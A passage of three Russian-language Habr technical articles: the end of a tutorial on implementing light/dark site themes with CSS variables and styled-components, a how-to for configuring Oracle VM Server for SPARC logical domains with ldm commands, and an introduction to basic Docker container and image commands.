body.classlist.remove('theme-light')
body.classlist.add('theme-dark')
} else {
body.classlist.remove('theme-dark')
body.classlist.add('theme-light')
}
});
```
Плюсы:
* отсутствие дублирования переменных
Минусы:
* Чтобы не было прыжков темы данный код должен выполняться на верхнем уровне (head или начало body). То есть он должен выполняться отдельно от основного бандла.
**3. Создание стилизованных классов для элементов**
`./button.css`
```
.button {
color: var(--text-lvl1-color);
background: var(--shared-default-color);
...
&:disabled {
background: var(--shared-disabled-color);
}
}
.button-primary {
background: var(--shared-primary-color);
}
.button-secondary {
background: var(--shared-secondary-color)
}
```
`./appbar.css`
```
.appbar {
display: flex;
align-items: center;
padding: 8px 0;
color: var(--text-lvl9-color);
background-color: var(--shared-primary-color);
}
```
**4. Настройка смены класса при нажатии на кнопку смены темы**
Пожалуй, самый простой пункт. Вам необходимо добавить на кнопку слушатель, который будет:
* удалять прошлые классы, связанные с темой:
```
body.classlist.remove('theme-light', 'theme-high')
```
* добавлять класс выбранной темы:
```
body.classlist.add('theme-dark')
```
**5. Сохранение выбранной темы на устройстве пользователя.**
Тему можно сохранять как в куки, так и в локальном хранилище. Структура и в первом, и во втором случае будет одинаковая: `theme: 'light' | 'dark' | 'rose'`
На верхнем уровне сайта нужно добавить получение сохраненной темы и добавление нужного класса тегу body. Например, в случае с локальным хранилищем:
```
const savedTheme = localStorage.getItem('theme')
if (['light', 'dark', 'rose'].includes(savedTheme)) {
body.classlist.remove('theme-light', 'theme-dark', 'theme-rose')
body.classList.add(`theme-${savedTheme}`)
}
```
То есть, если сохраненная тема – одна из настроенных тем, то мы удаляем классы, добавленные по умолчанию, и добавляем класс с сохраненной темой.
Css-in-js
---------
Данный вариант больше всего подходит для приложения, выполняемых на стороне клиента.
В качестве примера будет показана связка React + styled-components + typescript.
**1. Создание объектов dark и light, содержащих переменные темы.**
Способ именования переменных описан в разделе «Проектирование дизайна».
В объектах темы должны храниться все переменные, используемые для темизации.
Вы должны решить, какая тема будет использоваться по умолчанию и передать нужный объект Provider-у.
`./App.tsx`
```
import { useState } from 'react'
import { ThemeProvider } from 'styled-components'
import themes from './theme'
const App = () => {
const [theme, setTheme] = useState<'light' | 'dark'>('light')
const onChangeTheme = (newTheme: 'light' | 'dark') => {
setTheme(newTheme)
}
return (
// ...
)
}
```
**2. Настройка класса по умолчанию, в зависимости от темы устройства пользователя.**
Если основная цель темизации сайта – добавление темной темы, то вам стоит озаботиться этим пунктом. Верная настройка даст пользователям крайне приятный опыт и не ослепит их, если они придут на ваш сайт в поздние часы, в поисках ценного контента.
Для этого можно настроить тему по умолчанию на верхнем уровне приложения:
```
useEffect(() => {
if (window.matchMedia?.('(prefers-color-scheme: dark)').matches) {
onChangeTheme('dark')
}
}, [])
```
Дополнительно вы можете подписаться на изменение темы устройства:
```
useEffect(() => {
window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', (e) => {
if (e.matches) {
onChangeTheme('dark')
} else {
onChangeTheme('light')
}
})
}, [])
```
**3. Создание стилизованных компонентов**
`./src/components/atoms/Button/index.tsx` - [git](https://gitlab.com/Aleksandr909/theme-sc/-/blob/master/src/components/atoms/Button/index.tsx)
```
import type { ButtonHTMLAttributes } from 'react'
import styled from 'styled-components'
interface StyledProps extends ButtonHTMLAttributes {
fullWidth?: boolean;
color?: 'primary' | 'secondary' | 'default'
}
const Button = styled.button(({ fullWidth, color = 'default', theme }) => `
color: ${theme.colors.text.lvl9};
width: ${fullWidth ? '100%' : 'fit-content'};
...
&:not(:disabled) {
background: ${theme.colors.shared[color]};
cursor: pointer;
&:hover {
opacity: 0.8;
}
}
&:disabled {
background: ${theme.colors.shared.disabled};
}
`)
export interface Props extends StyledProps {
loading?: boolean;
}
export default Button
```
`./src/components/atoms/AppBar/index.tsx` - [git](https://gitlab.com/Aleksandr909/theme-sc/-/blob/master/src/components/atoms/AppBar/index.tsx)
```
import styled from 'styled-components'
const AppBar = styled.header(({ theme }) => `
display: flex;
align-items: center;
padding: 8px 0;
color: ${theme.colors.text.lvl9};
background-color: ${theme.colors.shared.primary};
`)
export default AppBar
```
**4. Настройка смены класса при нажатии на кнопку смены темы**
Через context api или redux/mobx изменяется имя текущей темы
`./App.tsx` - [git](https://gitlab.com/Aleksandr909/theme-sc/-/blob/master/src/App.tsx)
```
import { useState } from 'react'
import { ThemeProvider } from 'styled-components'
import themes from './theme'
const App = () => {
const [theme, setTheme] = useState<'light' | 'dark'>('light')
const onChangeTheme = (newTheme: 'light' | 'dark') => {
setTheme(newTheme)
}
return (
...
)
}
```
`.src/components/molecules/Header/index.tsx` - [git](https://gitlab.com/Aleksandr909/theme-sc/-/blob/master/src/components/molecules/Header/index.tsx)
```
import { useContext } from 'react'
import Grid from '../../atoms/Grid'
import Container from '../../atoms/Conrainer'
import Button from '../../atoms/Button'
import AppBar from '../../atoms/AppBar'
import ThemeContext from '../../../contexts/ThemeContext'
const Header: React.FC = () => {
const { theme, onChangeTheme } = useContext(ThemeContext)
return (
Themization
=============
onChangeTheme(theme === 'light' ? 'dark' : 'light')}>
set theme
)
}
export default Header
```
**5. Сохранение выбранной темы на устройстве пользователя.**
Тему можно сохранять как в куки, так и в локальном хранилище. Структура и в первом, и во втором случае будет одинаковая: `theme: 'light' | 'dark' | 'rose'`
На верхнем уровне сайта нужно добавить получение сохраненной темы и обновлять значение текущем темы. Например, в случае с локальным хранилищем:
`./App.tsx` - [git](https://gitlab.com/Aleksandr909/theme-sc/-/blob/master/src/App.tsx)
```
...
function App() {
const [theme, setTheme] = useState<'light' | 'dark'>('light')
const onChangeTheme = (newTheme: 'light' | 'dark') => {
localStorage.setItem('theme', newTheme)
setTheme(newTheme)
}
useEffect(() => {
const savedTheme = localStorage?.getItem('theme') as 'light' | 'dark' | null
if (savedTheme && Object.keys(themes).includes(savedTheme)) setTheme(savedTheme)
else if (window.matchMedia?.('(prefers-color-scheme: dark)').matches) {
onChangeTheme('dark')
}
}, [])
useEffect(() => {
window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', (e) => {
if (e.matches) {
onChangeTheme('dark')
} else {
onChangeTheme('light')
}
})
}, [])
return (
...
)
}
```
[Финальный код](https://gitlab.com/Aleksandr909/theme-sc)
[Демо](https://theme-sc.vorfolio.ru/)
Итоги
-----
Вариантов внедрения темизации много – от создания файлов со всеми стилями для каждой темы и их смены при необходимости до css-in-js решений (с нативными css переменными или встроенными в библиотеки решениями). Браузерное api дает возможности для настройки сервиса под каждого конкретного пользователя, считывая и отслеживая тему его устройства.
Темизация набирает обороты, крупные компании одна за другой внедряют ее в свои сервисы. Правильная темная тема улучшает пользовательский опыт, уменьшает нагрузку на глаза, экономит заряд батареи, дает столь желаемую возможность кастомизации сервиса под себя. Много плюсов, при невысокой цене, особенно, если все планируется заранее.
Конечно же, темизация нужна не всем. В любом случае она связана с, пусть и небольшими, но все же усложнениями. Она нужна, например, для приложений и веб-сервисов.
Сервисы Google и apple, банки, соц. сети, редакторы, github и gitlab. Продолжать список можно бесконечно, несмотря на то, что это только начало развития технологии, а дальше – больше, лучше и проще.
Вторая часть – [Новые браузерные API. Темизация при SSR. Выбор между SPA, SSR и SSG](https://habr.com/ru/post/645113/)
Третья часть – [Themeizer – юный попутчик стилей](https://habr.com/ru/post/651577/) | https://habr.com/ru/post/563572/ | null | ru | null |
# Oracle VM Server for SPARC для чайников (How-to)
Небольшой How-to для начинающих работать с ОС [Solaris](http://www.oracle.com/us/products/servers-storage/solaris/overview/index.html) и платформой виртуализации [Oracle VM Server for SPARC](http://www.oracle.com/us/technologies/virtualization/oracle-vm-server-for-sparc/overview/index.html), ранее известной как Sun Logical Domains.
Logical Domains — технология виртуализации и разделения физических ресурсов для линейки UNIX-серверов, основанных на архитектуре SPARC V9, представленная в мае 2007 корпорацией Sun Microsystems.
Управлять гипервизором возможно из командной строки или визуальными интерфейсами управления, последнее не будет здесь рассматриваться.
Примеры приведены для ОС [Solaris 10](http://www.oracle.com/technetwork/server-storage/solaris10/overview/index.html), в [Solaris 11](http://www.oracle.com/technetwork/server-storage/solaris11/overview/index.html) стоит учитывать особенности настройки сети.
В терминологии Sun виртуальные машины обозначаются как домены, существует несколько видов доменов.
#### Роли доменов
* **Control Domain** — Домен управления, именно в нём работает Oracle VM Server, создаётся при установке по умолчанию из системы где устанавливается Oracle VM Server, имеет название primary. Может быть только один домен управления.
* **Service Domain** — Домен виртуальных устройств, таких как виртуальные свитчи, виртуальные диски и т.д. Любой домен может быть сконфигурирован как Service Domain, по умолчанию Control Domain уже является Service Domain.
* **I/O Domain** — Домен, имеющий доступ к физическим PCIe устройствам сервера. Может предоставлять доступ к этим устройствам, если сконфигурирован как Service Domain. Имеет более высокую производительность по сравнению с Guest Domain, почти сравнимую с невиртуализированным сервером. Максимальное количество доменов ограничивается количеством PCIe-шин на сервере. Использование подобных доменов усложняет миграцию. По умолчанию Control Domain выполняет функции I/O Domain.
Просмотр имеющихся PCIe-шин и устройств:
```
# /usr/sbin/ldm list-io
```
* **Root Domain** — Корневой домен имеет более расширенный доступ к архитектуре физических PCIe устройств сервера, чем I/O Domain. Имеет доступ ко всем сервисам предоставляемым PCIe устройствами, например к фабрике обработки ошибок (fabric error handling). Количество корневых доменов зависит от архитектуры сервера.
* **Guest Domain** — Гостевой домен, имеет только виртуальные устройства.
#### Обозначения виртуальных устройств и сервисов
* **vnet** – Virtual Network. Виртуальная сетевая карта.
* **vsw** – Virtual Switch. Виртуальный свитч.
* **vds** – Virtual Disk Server. Виртуальный жёсткий диск. Модель использования диска строится на клиент-серверной архитектуре, поэтому для доступа к диску используется клиент vdc, а vds представляет собой службу доступа к физическим дискам или их образам.
* **vdc** — Virtual Disk Client. Предоставляет доступ к виртуальному жёсткому диску. Несмотря на то, что виртуальные диски относятся к Guest Domain большинство операций по работе с ними выполняется на Service Domain.
* **vcc** — Virtual Console Concentrator. Обычно данное виртуальное устройство имеет Control Domain (primary). Оно обеспечивает доступ к консолям виртуальных машин. Сервис svc:/ldoms/vntsd:default обеспечивает доступ к консолям виртуальных машин, запущен в Control Domain.
#### Пример создания основных сервисов
Обычно сервисы устройств создаются в Control Domain, но можно выделить для этого отдельный домен — Service Domain.
* Создаём концентратор консолей в домене primary, с названием primary-vcc0 и диапазоном используемых портов 5000-5100:
```
# /usr/sbin/ldm add-vcc port-range=5000-5100 primary-vcc0 primary
```
* Создаём сервер виртуальных жёстких дисков в домене primary, с названием primary-vds0:
```
# /usr/sbin/ldm add-vds primary-vds0 primary
```
* Создаём виртуальный свитч в домене primary, с названием primary-vsw0 и привязываем его к сетевому интерфейсу nxge0. Использовать mac-адрес сетевой карты:
```
# /usr/sbin/ldm add-vsw net-dev=nxge0 primary-vsw0 primary
```
Используется указанный mac-адрес:
```
# /usr/sbin/ldm add-vsw mac-addr=2:04:4f:fb:9f:0d net-dev=nxge0 primary-vsw0 primary
```
* Просмотреть список сервисов домена primary:
```
# /usr/sbin/ldm list-services primary
```
#### Настройка Control Domain и высвобождение ресурсов из него для других доменов
* Просмотр списка криптографических устройств. Используются в системах SPARC, наличие этих устройств в домене не позволяет динамически переконфигурировать количество CPU:
```
# /usr/sbin/ldm list -o crypto primary
```
* Естественно ставим этот параметр в 0, или вообще не трогаем эту команду:
```
# /usr/sbin/ldm set-mau 0 primary
```
* Задаём количество ядер домену primary:
```
# /usr/sbin/ldm set-vcpu 8 primary
```
* Запускаем переконфигурацию домена primary или просто перезагружаем сервер:
```
# /usr/sbin/ldm start-reconf primary
```
* Задаём количество оперативной памяти домену primary:
```
# /usr/sbin/ldm set-memory 4G primary
```
* Сохраняем текущую конфигурацию доменов как initial:
```
# /usr/sbin/ldm add-config initial
```
* Просмотреть список конфигураций доменов(initial [next poweron] означает, что конфигурация будет использоваться при следующей загрузке гипервизора):
```
# /usr/sbin/ldm list-config
```
* Перезагружаем гипервизор:
```
# shutdown -y -g0 -i6
```
По умолчанию между Control Domain и остальными доменами нет сетевого соединения, это связано с тем, что Control Domain использует физический интерфейс(напр.: nxge0), а остальные домены виртуальные(напр.: vsw0).
#### Конфигурирование виртуального свитча как главного интерфейса в Control Domain
* Список всевозможных сетевых интерфейсов системе:
```
# /usr/sbin/dladm show-link
```
* Включаем необходимый виртуальный свитч:
```
# /usr/sbin/ifconfig vsw0 plumb
```
* Выключаем физический интерфейс:
```
# /usr/sbin/ifconfig nxge0 down unplumb
```
* Задаём IP-адрес и помечаем интерфейс виртуального свитча включенным:
```
# /usr/sbin/ifconfig vsw0 192.168.0.108 netmask 255.255.0.0 broadcast+up
```
Или можно использовать DHCP:
```
# /usr/sbin/ifconfig vsw0 dhcp start
```
* Не забываем прописать настройки сетевого интерфейса в конфигурационные файлы:
```
# mv /etc/hostname.nxge0 /etc/hostname.vsw0
```
При использовании DHCP:
```
# mv /etc/dhcp.nxge0 /etc/dhcp.vsw0
```
#### Создание Guest Domain
* Создание домена ldg1:
```
# /usr/sbin/ldm add-domain ldg1
```
* Добавление процессоров в домен ldg1:
```
# /usr/sbin/ldm add-vcpu 8 ldg1
```
* Добавление оперативной памяти в домен ldg1:
```
# /usr/sbin/ldm add-memory 2G ldg1
```
* Добавление сетевого интерфейса vnet1, подключенного к свитчу vsw0 в домене ldg1:
```
# /usr/sbin/ldm add-vnet vnet1 primary-vsw0 ldg1
```
* Добавляем физический жёсткий диск /dev/dsk/c2t1d0s2 к виртуальному дисковому серверу primary-vds0 под именем vol1.
```
# /usr/sbin/ldm add-vdsdev /dev/dsk/c2t1d0s2 vol1@primary-vds0
```
Или:
+ Создание ФС с точкой монтирования:
```
# zfs create -o mountpoint=/LDoms rpool/LDoms
```
+ Создание файловой системы определённого размера:
```
# /usr/sbin/zfs create -V 10G rpool/LDoms/disk1
```
+ Добавляем раздел ZFS в качестве виртуального диска на дисковый сервер:
```
# /usr/sbin/ldm add-vdsdev /dev/zvol/dsk/rpool/LDoms/disk1 vol1@primary-vds0
```
Или:
+ Создать файл размером 10 гигабайт:
```
# /usr/sbin/mkfile 10G <имя файла>
```
+ Добавляем файл в качестве виртуального диска:
```
# /usr/sbin/ldm add-vdsdev <имя файла> vol1@primary-vds0
```
* Добавляем виртуальный диск vol1@primary-vds0 к домену ldg1 под именем vdisk1:
```
# /usr/sbin/ldm add-vdisk vdisk1 vol1@primary-vds0 ldg1
```
* Устанавливаем для домена ldg1 автозагрузку при старте сервера:
```
# /usr/sbin/ldm set-var auto-boot\?=true ldg1
```
* Устанавливаем диск с которого будет грузиться домен ldg1:
```
# /usr/sbin/ldm set-var boot-device=vdisk1 ldg1
```
* Связываем домен ldg1 с Control Domain:
```
# /usr/sbin/ldm bind-domain ldg1
```
* Просмотреть информацию о домене ldg1, в графе CONS будет указан порт, по которому подключиться к домену:
```
# /usr/sbin/ldm list-domain ldg1
```
* Просмотр всех связанных с доменом ldg1 ресурсов:
```
# /usr/sbin/ldm list-bindings ldg1
```
* Подключиться к консоли домена, слушающего порт 5000:
```
# /usr/bin/telnet localhost 5000
```
* Запустить домен ldg1, если он остановлен:
```
# /usr/sbin/ldm start-domain ldg1
```
#### Установка Oracle Solaris 10 с DVD-диска
* Останавливаем службу управления томами:
```
# /usr/sbin/svcadm disable volfs
```
* Останавливаем необходимый домен:
```
# /usr/sbin/ldm stop ldg1
```
* Исключить из списка управляемых доменов:
```
# /usr/sbin/ldm unbind-domain ldg1
```
* Добавляем привод /dev/dsk/c0t0d0s2 к виртуальному дисковому серверу primary-vds0 под именем dvd\_vol:
```
# /usr/sbin/ldm add-vdsdev /dev/dsk/c0t0d0s2 dvd_vol@primary-vds0
```
* Подключаем завиртуализированный привод к домену ldg1 под именем vdisk\_cd\_media:
```
# /usr/sbin/ldm add-vdisk vdisk_cd_media dvd_vol@primary-vds0 ldg1
```
* Просмотр всех связанных с доменом ldg1 ресурсов:
```
# /usr/sbin/ldm list-bindings ldg1
```
* Связываем домен ldg1 с Control Domain:
```
# /usr/sbin/ldm bind-domain ldg1
```
* Запустить домен ldg1:
```
# /usr/sbin/ldm start-domain ldg1
```
* Подключаемся к консоли домена:
```
# /usr/bin/telnet localhost 5000
```
* Просматриваем алиасы устройств домена в поисках vdisk\_cd\_media:
```
ok devalias
```
* Загружаемся с диска:
```
ok boot vdisk_cd_media:f
```
#### Установка Oracle Solaris 10 из образа
* Остановить необходимый домен:
```
# /usr/sbin/ldm stop ldg1
```
* Исключить из списка управляемых доменов:
```
# /usr/sbin/ldm unbind-domain ldg1
```
* Добавить образ solaris10.iso к виртуальному дисковому серверу primary-vds0 под именем iso\_vol:
```
# /usr/sbin/ldm add-vdsdev /export/solaris10.iso iso_vol@primary-vds0
```
* Подключить завиртуализированный привод к домену ldg1 под именем vdisk\_iso:
```
# /usr/sbin/ldm add-vdisk vdisk_iso iso_vol@primary-vds0 ldg1
```
* Просмотреть все связанные с доменом ldg1 ресурсы:
```
# /usr/sbin/ldm list-bindings ldg1
```
* Связать домен ldg1 с Control Domain:
```
# /usr/sbin/ldm bind-domain ldg1
```
* Запустить домен ldg1:
```
# /usr/sbin/ldm start-domain ldg1
```
* Подключаемся к консоли домена:
```
# /usr/bin/telnet localhost 5000
```
* Просматриваем алиасы устройств домена в поисках vdisk\_iso:
```
ok devalias
```
* Загружаемся с образа:
```
ok boot vdisk_iso:f
```
#### Удаление домена
* Остановить домен ldg1:
```
# /usr/sbin/ldm stop-domain ldg1
```
* Отвязать домен ldg1:
```
# /usr/sbin/ldm unbind-domain ldg1
```
* Удалить домен ldg1:
```
# /usr/sbin/ldm remove-domain ldg1
``` | https://habr.com/ru/post/468163/ | null | ru | null |
# Изучаем Docker, часть 5: команды
Сегодняшняя часть цикла материалов по Docker, перевод которого мы публикуем, посвящена командам Docker. [Документация](https://docs.docker.com/engine/reference/commandline/cli/) Docker содержит подробнейшее описание великого множества команд, но тот, кто только начинает работу с этой платформой, может в них и потеряться, поэтому здесь приведены почти два десятка самых важных команд для работы с Docker. Продолжая сложившуюся традицию, мы сравним команды с россыпью ягод.
→ [Часть 1: основы](https://habr.com/post/438796/)
→ [Часть 2: термины и концепции](https://habr.com/post/439978/)
→ [Часть 3: файлы Dockerfile](https://habr.com/post/439980/)
→ [Часть 4: уменьшение размеров образов и ускорение их сборки](https://habr.com/post/440658/)
→ [Часть 5: команды](https://habr.com/post/440660/)
→ [Часть 6: работа с данными](https://habr.com/post/441574/)
[](https://habr.com/ru/company/ruvds/blog/440660/)
Обзор
-----
Давайте вспомним о том, что образы Docker создают на основе файлов Dockerfile, описывающих всё то, что нужно для сборки образов. Кроме того, не будем забывать и о том, что контейнер — это образ Docker, вызванный к жизни. Для того чтобы эффективно пользоваться командами Docker, в первую очередь нужно выяснить — с чем вы имеете дело — с образом или с контейнером. Если подумать об образах и контейнерах, то можно понять, что образ Docker может либо существовать, либо не существовать. То же самое можно сказать и о контейнерах Docker. Существующий контейнер Docker, кроме того, может пребывать либо в работающем, либо в неработающем состоянии.
После того, как вы выяснили, с чем именно вам нужно работать, вы можете найти подходящую команду.
Общие сведения о командах Docker
--------------------------------
Вот кое-что, о чём полезно знать тем, кто хочет работать с Docker:
* Команды интерфейса командной строки Docker, используемые для управления чем-либо, начинаются с ключевого слова `docker`, за которым идёт пробел, затем идёт указание на то, на что именно будет направлена некая команда, потом ещё один пробел, а потом следует сама команда. Например, именно так построена такая команда: `docker container stop`.
* Если команда направлена на конкретный образ или контейнер, то в ней используется имя или идентификатор такого образа или контейнера.
Например, команда `docker container run my_app` — это команда для создания и запуска контейнера с именем `my_app`. В примерах, которые будут приведены ниже, контейнеры мы будем называть `my_container`, образы — `my_image`, теги — `my_tag`, и так далее.
Сначала мы будем рассматривать саму команду, потом — флаги, которые можно с ней использовать, если такие флаги существуют. Если перед флагом стоит два тире — то это его полная форма, флаг с одним тире — это сокращённый вариант некоего флага. Действуют они одинаково. Например, `-p` — это сокращённая форма флага `--port`.
Цель этого материала заключается в том, чтобы дать вам общие сведения о командах Docker. Так вы, имея общее представление о них и зная о возможностях платформы, доступных благодаря этим командам, сможете, при необходимости, найти подробные сведения о них. Команды, о которых пойдёт речь, испытаны на ОС семейства Linux с использованием движка Docker версии 18.09.1 и API версии 1.39.
Примечание о командах, поддерживаемых Docker CLI 1.13
-----------------------------------------------------
В интерфейсе командной строки Docker версии 1.13 представлены обновлённые, логически сгруппированные команды. При этом старые команды всё ещё работают, но новыми пользоваться легче, особенно — начинающим. Речь идёт, например, о том, что в версии 1.12 использовалась команда вида `docker create`, а в версии 1.13 стала доступна команда `docker container create`. Сведения о соответствии старых и новых команд можно найти [здесь](http://blog.arungupta.me/docker-1-13-management-commands/).
Сначала мы посмотрим на команды, предназначенные для управления контейнерами, затем обсудим управление образами.
Команды для управления контейнерами
-----------------------------------
Общая схема команд для управления контейнерами выглядит так:
```
docker container my_command
```
Вот команды, которые могут быть подставлены туда, где мы использовали `my_command`:
* `create` — создание контейнера из образа.
* `start` — запуск существующего контейнера.
* `run` — создание контейнера и его запуск.
* `ls` — вывод списка работающих контейнеров.
* `inspect` — вывод подробной информации о контейнере.
* `logs` — вывод логов.
* `stop` — остановка работающего контейнера с отправкой главному процессу контейнера сигнала `SIGTERM`, и, через некоторое время, `SIGKILL`.
* `kill` — остановка работающего контейнера с отправкой главному процессу контейнера сигнала `SIGKILL`.
* `rm` — удаление остановленного контейнера.
Команды для управления образами
-------------------------------
Для управления образами используются команды, которые выглядят так:
```
docker image my_command
```
Вот некоторые из команд этой группы:
* `build` — сборка образа.
* `push` — отправка образа в удалённый реестр.
* `ls` — вывод списка образов.
* `history` — вывод сведений о слоях образа.
* `inspect` — вывод подробной информации об образе, в том числе — сведений о слоях.
* `rm` — удаление образа.
Разные команды
--------------
* `docker version` — вывод сведений о версиях клиента и сервера Docker.
* `docker login` — вход в реестр Docker.
* `docker system prune` — удаление неиспользуемых контейнеров, сетей и образов, которым не назначено имя и тег.
Теперь рассмотрим эти команды подробнее.
Контейнеры
----------
### ▍Начало существования контейнера
На начальном этапе работы с контейнерами используются команды `create`, `start` и `run`. Они применяются, соответственно, для создания контейнера, для его запуска, и для его создания и запуска.
Вот команда для создания контейнера из образа:
```
docker container create my_repo/my_image:my_tag
```
В следующих примерах конструкция `my_repo/my_image:my_tag` будет сокращена до `my_image`.
Команда `create` принимает множество [флагов](https://docs.docker.com/engine/reference/commandline/container_create/). Например, её можно записать в таком виде:
```
docker container create -a STDIN my_image
```
Флаг `-a` представляет собой краткую форму флага `--attach`. Этот флаг позволяет подключить контейнер к `STDIN`, `STDOUT` или `STDERR`.
После того, как контейнер создан, его можно запустить следующей командой:
```
docker container start my_container
```
Обратите внимание на то, что сослаться на контейнер в команде можно либо используя его `ID`, либо имя.
Теперь взглянем на команду, которая позволяет создать и запустить контейнер:
```
docker container run my_image
```
Эта команда тоже способна принимать множество [аргументов](https://docs.docker.com/engine/reference/commandline/container_run/) командной строки. Рассмотрим некоторые из них на примере такой конструкции:
```
docker container run -i -t -p 1000:8000 --rm my_image
```
Флаг `-i` — это сокращение для `--interactive`. Благодаря этому флагу поток `STDIN` поддерживается в открытом состоянии даже если контейнер к `STDIN` не подключён.
Флаг `-t` — это сокращение для `--tty`. Благодаря этому флагу выделяется псевдотерминал, который соединяет используемый терминал с потоками `STDIN` и `STDOUT` контейнера.
Для того чтобы получить возможность взаимодействия с контейнером через терминал нужно совместно использовать флаги `-i` и `-t`.
Флаг `-p` представляет собой сокращение для `--port`. Порт — это интерфейс, благодаря которому контейнер взаимодействует с внешним миром. Конструкция `1000:8000` перенаправляет порт Docker `8000` на порт `1000` компьютера, на котором выполняется контейнер. Если в контейнере работает некое приложение, способное выводить что-то в браузер, то, для того, чтобы к нему обратиться, в нашем случае можно перейти в браузере по адресу `localhost:1000`.
Флаг `--rm` автоматически удаляет контейнер после того, как его выполнение завершится.
Рассмотрим ещё некоторые примеры команды `run`:
```
docker container run -it my_image my_command
```
В подобной конструкции может применяться команда `sh`, которая создаст сессию терминала в контейнере, с которой можно взаимодействовать через ваш терминал. При работе с образами, основанными на Alpine, лучше ориентироваться на использование `sh` а не `bash`, так как в этих образах, по умолчанию, оболочка `bash` не установлена. Для выхода из интерактивной сессии воспользуйтесь командой `exit`.
Обратите внимание на то, что здесь мы скомбинировали флаги `-i` и `-t` в `-it`.
Вот ещё один пример работы с командой `run`:
```
docker container run -d my_image
```
Флаг `-d` — это сокращение для `--detach`. Эта команда запускает контейнер в фоновом режиме. Это позволяет использовать терминал, из которого запущен контейнер, для выполнения других команд во время работы контейнера.
### ▍Проверка состояния контейнера
Если у вас имеются запущенные контейнеры Docker и вы хотите узнать о том, что это за контейнеры, вам понадобится вывести их список. Сделать это можно такой командой:
```
docker container ls
```
Эта команда выводит список выполняющихся контейнеров и снабжает этот список некоторыми полезными сведениями о них. Вот ещё один пример этой команды:
```
docker container ls -a -s
```
Ключ `-a` этой команды — это сокращение для `--all`. Благодаря использованию этого ключа можно вывести сведения обо всех контейнерах, а не только о выполняющихся.
Ключ `-s` — это сокращение для `--size`. Он позволяет вывести размеры контейнеров.
Вот команда, которая выводит подробные сведения о контейнере:
```
docker container inspect my_container
```
Вот команда, выводящая логи контейнера:
```
docker container logs my_container
```
### ▍Завершение работы контейнера
Иногда работающий контейнер надо остановить. Для этого используется такая команда:
```
docker container stop my_container
```
Она позволяет останавливать работающие контейнеры, позволяя им корректно завершить работу. У контейнера есть, по умолчанию, 10 секунд, на то, чтобы завершить работу.
Если же контейнер нужно остановить быстро, не заботясь о корректном завершении его работы, можно воспользоваться такой командой:
```
docker container kill my_container
```
Команда `kill`, если сравнить работающий контейнер с включенным телевизором, напоминает выключение телевизора путём отключения его от электричества. Поэтому, в большинстве ситуаций, для остановки контейнеров рекомендуется использовать команду `stop`.
Вот команда, которая позволяет быстро остановить все работающие контейнеры:
```
docker container kill $(docker ps -q)
```
Для удаления остановленного контейнера можно воспользоваться такой командой:
```
docker container rm my_container
```
Вот команда, которая позволяет удалить все контейнеры, которые на момент вызова этой команды не выполняются:
```
docker container rm $(docker ps -a -q)
```
Подведём итоги этого раздела. Сначала контейнер создают, потом его запускают, или комбинируют эти два шага, используя команду вида `docker run my_container`. После этого запускается контейнеризированное приложение.
Потом контейнер останавливают командой `docker stop my_container`. Для удаления контейнера используется команда `docker rm my_container`.
Поговорим теперь о командах, используемых для работы с образами, с теми самыми шаблонами, из которых создают контейнеры.
Образы
------
### ▍Создание образов
Вот команда, которая позволяет собирать образы Docker:
```
docker image build -t my_repo/my_image:my_tag .
```
В данном случае создаётся образ с именем `my_image`, при его сборке используется файл Dockerfile, находящийся по указанному пути или URL.
Флаг `-t` — это сокращение для `--tag`. Он указывает Docker на то, что создаваемому образу надо назначить предоставленный в команде тег. В данном случае это `my_tag`.
Точка в конце команды указывает на то, что образ надо собрать с использованием файла Dockerfile, находящегося в текущей рабочей директории.
После того, как образ собран, его можно отправить в удалённый реестр. Благодаря этому им смогут воспользоваться другие люди, его можно будет загрузить и запустить на другом компьютере. Предположим, вы хотите использовать [Docker Hub](https://hub.docker.com/). Если так — вам понадобится завести там учётную запись. Пользоваться этим ресурсом можно бесплатно.
После того, как вы зарегистрируетесь на Docker Hub, вам нужно войти в систему. И хотя команда, которая для этого используется, напрямую к командам, предназначенным для работы с образами, не относится, её полезно будет рассмотреть именно здесь. Речь идёт о следующей команде:
```
docker login
```
Она позволяет войти в учётную запись на Docker Hub. Для входа в систему вам понадобится ввести имя пользователя и пароль.
После входа в систему можно будет отправлять образы в реестр. Делается это так:
```
docker image push my_repo/my_image:my_tag
```
Теперь, когда у вас наберётся несколько образов, вы можете их исследовать с помощью специальных команд.
### ▍Исследование образов
Вот команда, которая выводит список образов, выводя, в том числе, и сведения об их размере:
```
docker image ls
```
Следующая команда позволяет вывести сведения о промежуточных образах, входящих в состав образа, в частности — данные об их размерах и о том, как они были созданы:
```
docker image history my_image
```
Вот команда, которая выводит подробные сведения об образе, в том числе — данные о слоях, из которых состоит образ:
```
docker image inspect my_image
```
Если вы создадите очень много образов, может случиться так, что некоторые из них понадобится удалить.
### ▍Удаление образов
Вот команда, которая позволяет удалить указанный образ:
```
docker image rm my_image
```
Если образ хранится в удалённом репозитории, он оттуда удалён не будет.
Вот команда, которая позволяет удалить все локальные образы:
```
docker image rm $(docker images -a -q)
```
Пользоваться этой командой стоит с осторожностью, но надо заметить, что при её использовании образы, хранящиеся в удалённом репозитории, удалены не будут. В этом заключается одно из преимуществ хранения образов в репозиториях.
Мы рассмотрели основные команды, используемые для управления контейнерами и образами. Поговорим теперь ещё о некоторых командах.
Разные команды
--------------
Вот команда, которая выводит сведения о версиях клиента и сервера Docker:
```
docker version
```
Эта, уже известная вам команда, применяется для входа в реестр Docker:
```
docker login
```
Такая команда позволяет удалить неиспользуемые контейнеры, сети и образы, [которым не назначено имя и тег](https://stackoverflow.com/questions/45142528/docker-what-is-a-dangling-image-and-what-is-an-unused-image/45143234#45143234):
```
docker system prune
```
Вот пример её использования:
```
docker system prune -a --volumes
```
Ключ `-a` — сокращение для `--all`, позволяет удалить неиспользуемые образы, а не только те, которым не назначено имя и тег.
Ключ `--volumes` позволяет удалить неиспользуемые тома.
Итоги
-----
В этом материале мы рассмотрели полезные команды Docker. Если вы только начинаете работать с Docker, то вам стоит обратить внимание на три следующих важнейших команды:
Создание и запуск контейнера:
```
docker container run my_image
```
Сборка образа:
```
docker image build -t my_repo/my_image:my_tag .
```
Отправка образа в удалённый репозиторий:
```
docker image push my_repo/my_image:my_tag
```
Для того чтобы посмотреть справку по командам Docker, можете выполнить в терминале команду `docker`. [Здесь](https://docs.docker.com/engine/reference/commandline/cli/) можно найти справочные материалы по интерфейсу командной строки Docker.
В следующий раз мы поговорим о работе с данными в Docker.
